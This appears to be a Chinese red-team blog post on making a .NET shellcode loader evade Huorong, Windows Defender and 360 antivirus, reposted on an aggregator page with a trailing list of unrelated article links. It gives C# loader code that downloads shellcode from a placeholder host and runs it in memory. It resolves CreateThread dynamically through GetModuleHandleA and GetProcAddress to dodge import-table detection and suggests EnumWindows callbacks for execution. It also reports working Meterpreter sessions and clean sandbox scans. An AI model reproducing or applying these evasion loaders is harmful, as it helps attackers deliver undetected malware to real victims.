当前位置: 首页 > news >正文

【红队技巧】.Net免杀 绕过主流杀软

【技巧】.Net免杀 绕过主流杀软

前言

最近执行任务时,需要动用自己的免杀知识却发现它们不再生效,于是就有了本文。这次对windows api和C#又有了比在thm​学习时更深的认识和了解。

  • C#动态加载
  • LoadLinrary受限绕过
  • EnumWindows函数执行shellcode

C#动态加载 - 火绒

我在执行任务时,我惊讶的发现,我的TryHackMe 祖传C#代马 steged分阶段加载器,居然被火绒落地秒杀

在这里插入图片描述

虽然360、defender不会报毒,但落地被火绒秒杀属实有点对不起thm大学的知识

伪代码:

    [DllImport("kernel32")]private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);[DllImport("kernel32")]private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);string URI = "http://<ip>:<port>/<fileName>";WebClient webClient = new WebClient();webClient.DownloadData(URI);VirtualAlloc(0, (UInt32)State.Length, 0x1000, 0x40);Marshal.Copy(State, 0, (IntPtr)(Open), State.Length);CreateThread(0, 0, Open, parameter, 0, ref threadId);WaitForSingleObject(QQHandle, 0xFFFFFFFF);}

我针对代码,自下而上进行单行注释,直到p/invoke的CreateThread函数,当我把这个函数签名这一行给注释掉后,火绒就不杀了,结论就是:火绒碰到p/invoke的CreateThread立马干掉

我尝试了CreateRemoteThread,这并不会导致被杀,也就是说目前可以确定火绒只会针对:

    [DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

换句话说只要IAT表或导入表里有CreateThread,立马就杀,所以这段代码不管怎么改也绕不过去

解决方案 - 动态加载

我总觉得我学过,但太久没用有点回忆不起来,我翻了翻曾经在thm上学的知识,最终还是找到了它

在这里插入图片描述

这是C++版本的动态加载,通过LoadLibrary函数动态加载dll到内存,最后通过GetProcAddress函数获取指定的函数地址,最终实现调用指定dll的指定函数

C#的实现

即便通过C#,想要做到这一点也相当简单,我们只需要通过委托来替代c++中的定义结构

首先我们需要通过p/invoke加载LoadLibrary和GetProcAddress,并且获取CreateThread函数的函数地址

[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string _);[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(IntPtr __, string _);...h_Module = LoadLibrary("kernel32.dll");
fooProc = GetProcAddress(h_Module, "CreateThread");

创建委派,函数签名的参数个数、类型与CreateThread函数参数个数、类型一致

然后通过GetDelegateForFunctionPointer函数将函数指针转换成委托

private delegate IntPtr _ct(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);...var ct = Marshal.GetDelegateForFunctionPointer<ct>(fooProc);

这样,我们就可以通过委托去执行CreateThread函数了,对完整修改并编译后,火绒最终还是失效了

Windows Denfender - LoadLinrary受限绕过

通过上述方法绕过火绒后,没想到回头被defender给干掉了,我通过同样的思路,对代码进行单行注释,结果发现defender的检测点是p/invoke的LoadLibrary函数,于是我去微软文档寻找函数平替。

最后发现GetModuleHandleA函数,它于LoadLibrary函数类似,但GetModuleHandleA不会被defender检测,通过它,我们成功绕过defender、火绒在对于IAT/导入表中某些函数的检测

msf meterpreter常规反向上线正常

在这里插入图片描述

defender静态、执行不报

在这里插入图片描述

火绒、360静态不报

执行也不报

msf meterpreter上线

在线检测

基本上到这里也差不多够用,再通过其它thm、前辈的小技巧,混淆、加壳、签名等等,基本应该也够用了

我这里就不作代码以外的事情,直接把上面的完整C#代码编译后,不作任何加壳签名啥的,直接裸上传沙箱看看效果

微步云沙箱

微步云沙箱最终被标记为安全

在这里插入图片描述

没有高危行为

在这里插入图片描述

被一个Baidu-China检测了,其它全都不报

在这里插入图片描述

当然,如果不绕沙箱的话,最终的shellcode应该还是会被捕获并检测,毕竟shellcode是正版msf的payload,但绕沙箱不在本文范围。

EnumWindows执行shellcode - CreateThread平替

此外我通过搜索微软文档,发现了一个函数可以通过callback回调函数,达到执行shellcode的效果

EnumWindows

只要把shellcode的地址丢给它,它便能执行,做到类似于CreateThread+WaitForSingleObject的效果

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 打卡55天------图论(并查集)
  • 微信小程序flex-grow无效
  • 智领云开源KDP:深度剖析其与主流数据平台的性能与特性对比
  • 大语言模型之Qwen2技术报告阅读笔记
  • 3D环绕音效增强软件 Boom3D for Mac v2.0.2 中文破解版下载
  • 编程语言中的特殊类的设计
  • hyperf注解,自定义注解
  • 【第54课】XSS跨站Cookie盗取表单劫持网络钓鱼溯源分析项目平台框架
  • AList嵌入动态验证码实现动态校验
  • LaViT:Less-Attention Vision Transformer的特性与优点
  • 猫头虎 分享:如何用STAR(情境、任务、行动、结果)方法来结构化回答问题?
  • 网络安全-安全渗透简介和安全渗透环境准备
  • [开端]网络运维常用命令
  • 衡石科技BI的API如何授权文档解析
  • 基于微信小程序靓丽内蒙古APP(源码+定制+辅导)
  • 〔开发系列〕一次关于小程序开发的深度总结
  • android 一些 utils
  • create-react-app项目添加less配置
  • css的样式优先级
  • HTML中设置input等文本框为不可操作
  • iOS编译提示和导航提示
  • Java反射-动态类加载和重新加载
  • maven工程打包jar以及java jar命令的classpath使用
  • Storybook 5.0正式发布:有史以来变化最大的版本\n
  • Vue 重置组件到初始状态
  • 阿里研究院入选中国企业智库系统影响力榜
  • 紧急通知:《观止-微软》请在经管柜购买!
  • Spring第一个helloWorld
  • 带你开发类似Pokemon Go的AR游戏
  • 国内开源镜像站点
  • 交换综合实验一
  • 没有任何编程基础可以直接学习python语言吗?学会后能够做什么? ...
  • 如何正确理解,内页权重高于首页?
  • (十二)Flink Table API
  • (算法)硬币问题
  • (一)Dubbo快速入门、介绍、使用
  • (原創) 未来三学期想要修的课 (日記)
  • (转)shell调试方法
  • (轉貼) UML中文FAQ (OO) (UML)
  • .NET Framework杂记
  • .Net(C#)常用转换byte转uint32、byte转float等
  • .net的socket示例
  • .Net转前端开发-启航篇,如何定制博客园主题
  • [ C++ ] STL priority_queue(优先级队列)使用及其底层模拟实现,容器适配器,deque(双端队列)原理了解
  • [.NET 即时通信SignalR] 认识SignalR (一)
  • [240607] Jina AI 发布多模态嵌入模型 | PHP 曝新漏洞 | TypeScript 5.5 RC 发布公告
  • [BROADCASTING]tensor的扩散机制
  • [C++]拼图游戏
  • [caffe(二)]Python加载训练caffe模型并进行测试1
  • [DM复习]关联规则挖掘(下)
  • [Excel VBA]单元格区域引用方式的小结
  • [IDF]聪明的小羊
  • [linux 驱动]i2c总线设备驱动详解与实战
  • [linux][调度] 内核抢占入门 —— 高优先级线程被唤醒时会立即抢占当前线程吗 ?
  • [Mysql] 的基础知识和sql 语句.教你速成(上)——逻辑清晰,涵盖完整